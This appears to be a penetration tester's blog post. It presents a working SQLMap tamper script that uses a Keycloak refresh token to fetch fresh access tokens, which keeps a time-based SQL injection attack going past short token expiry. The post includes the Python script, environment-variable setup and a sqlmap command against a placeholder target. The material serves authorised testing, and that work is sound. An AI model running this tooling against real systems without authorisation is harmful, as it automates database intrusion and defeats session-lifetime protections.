SQLMap Tamper Script for Automated Access Tokens in Keycloak
Introduction
Normally, exploiting a SQL injection is not complicated. However, there can be few issues that can spoil the fun. One of which is, short session life and absence of automating new session tokens via SQLMap (or Ghauri).
First off, we need to know about the different between access tokens and refresh tokens.
Access tokens are the tokens which are used for authorization by any application. These are short-lived to reduce the attacker's access to the application if they are somehow leaked. In order to prevent frequent logouts for the end user, refresh tokens are used. They only serve single purpose - to issue new access tokens. In case of keycloak, new refresh token is also issued along with the access token. This new refresh token can be used to further extend the user's session without affecting the previous tokens. In this manner, the timeframe where an attacker can potentially have access to the application is reduced and the end users are not largely affected.
In this application, I had found a time-based SQL injection vulnerability. Access tokens only had a expiration time of 5 minutes which is not sufficient for time-based exploitation and requires manually re-running of SQLMap with newly issued access tokens each time. Previously, I used custom bash scripts in these scenariors but they still required some manual actions. To automate the process even further, I wrote a SQLMap tamper script that uses the refresh token to fetch new access token from the Keycloak token endpoint. Since the refresh tokens are valid for 30 minutes, the session life limitation of 5 minutes was extended to 30 minutes which is sufficient for getting proof of concept (PoC).
If you are not aware of keycloak, it is an open source Identity and Access Management (IAM) used for authentication and authorization. Many developers use IAMs to easily and securely implement these functionalities. Since IAMs are regularly tested and patched, they tend to have less vulnerabilities (in comparison to a developer's custom code).
As previously mentioned, keycloak issues new refresh token in the same response so with a few modification in the tamper script, you can extend the session life to hours.
Tamper Script
#!/usr/bin/env python3
import os
import time
import requests
from lib.core.enums import PRIORITY
priority = PRIORITY.HIGHEST
AUTH_URL = os.getenv("SQLMAP_AUTH_URL")
CLIENT_ID = os.getenv("SQLMAP_CLIENT_ID")
REFRESH_TOKEN = os.getenv("SQLMAP_REFRESH_TOKEN")
SCOPE = os.getenv("SQLMAP_SCOPE")
REFRESH_INTERVAL = int(os.getenv("SQLMAP_REFRESH_INTERVAL", "60")) # 1 minute fall-back if not specified
CLIENT_SECRET = os.getenv("SQLMAP_CLIENT_SECRET")
TOKEN_FILE = "/tmp/sqlmap_token.txt"
AUTH_HEADERS = {
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0"
}
def dependencies():
required = [
"SQLMAP_AUTH_URL",
"SQLMAP_CLIENT_ID",
"SQLMAP_REFRESH_TOKEN",
"SQLMAP_SCOPE"
]
missing = [x for x in required if not os.getenv(x)]
if missing:
raise Exception("Missing required environment variables: %s" % ", ".join(missing))
def _fetch_token():
auth_data = {
"grant_type": "refresh_token",
"client_id": CLIENT_ID,
"refresh_token": REFRESH_TOKEN,
"scope": SCOPE
}
if CLIENT_SECRET:
auth_data["client_secret"] = CLIENT_SECRET
r = requests.post(AUTH_URL, data=auth_data, headers=AUTH_HEADERS, timeout=15)
r.raise_for_status()
token = r.json().get("access_token")
if not token:
raise Exception("access_token missing in response: %s" % r.text)
with open(TOKEN_FILE, "w") as f:
f.write("%s|%s" % (token, time.time()))
return token
def _get_cached_token():
if os.path.exists(TOKEN_FILE):
try:
with open(TOKEN_FILE, "r") as f:
token, ts = f.read().split("|", 1)
if time.time() - float(ts) < REFRESH_INTERVAL:
return token
except Exception:
pass
return _fetch_token()
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
token = _get_cached_token()
headers["Authorization"] = "Bearer %s" % token
kwargs["headers"] = headers
return payload
How It Works
The necessary target details are fetched from environment variables so modification of the tamper script is not required for each target or endpoint. Export the variables accordingly before executing commands.
Since the access token is valid for 5 minutes i.e. 300 seconds, I have implemented a cache-like mechanism. The tamper script fetches and stores the new access token in a temporary file along with the timestamp. At each execution, the tamper scripts checks the timestamp and checks whether 280 seconds has passed. If so, a new access token is fetched and written to the temporary file. The access token is attached with each SQLMap request. I have set the interval for new access token to 280 seconds (and not 300 seconds) to minimize any interruption by potential delays.
Assumptions
I have made certain assumptions in the tamper scripts according to this application and keycloak. These are:
- Grant type being used is refresh_token (as this application does).
- The parameter containing the access token is called “access_token” in JSON response (as Keycloak does).
- Token endpoint expects an URL encoded POST request (as Keycloak does).
Depending on your scenario (e.g. different grant type), further modifications should not be too complicated.
Usage
First, set the required details via environment variables.
- Scope can be different for each user in keycloak so update accordingly.
- Client secret is dependent on application so specify it if available.
export SQLMAP_AUTH_URL="<token_endpoint>"
export SQLMAP_CLIENT_ID="<client>"
export SQLMAP_REFRESH_TOKEN="<refresh_token>"
export SQLMAP_SCOPE="openid profile email"
export SQLMAP_REFRESH_INTERVAL="280"
Second and lastly, we can run the SQLMap by specifying the tamper script.
sqlmap -u "https://target.com/?vuln_parameter=*" --level 5 --risk 2 --tamper=sqlmap-keycloak-token.py --tech T --ignore-code 401
- --ignore-code 401 needs to be specified since SQLMap first checks if the endpoint is accessible before executing any tamper scripts. Once the tamper script is executed, all further requests are authenticated.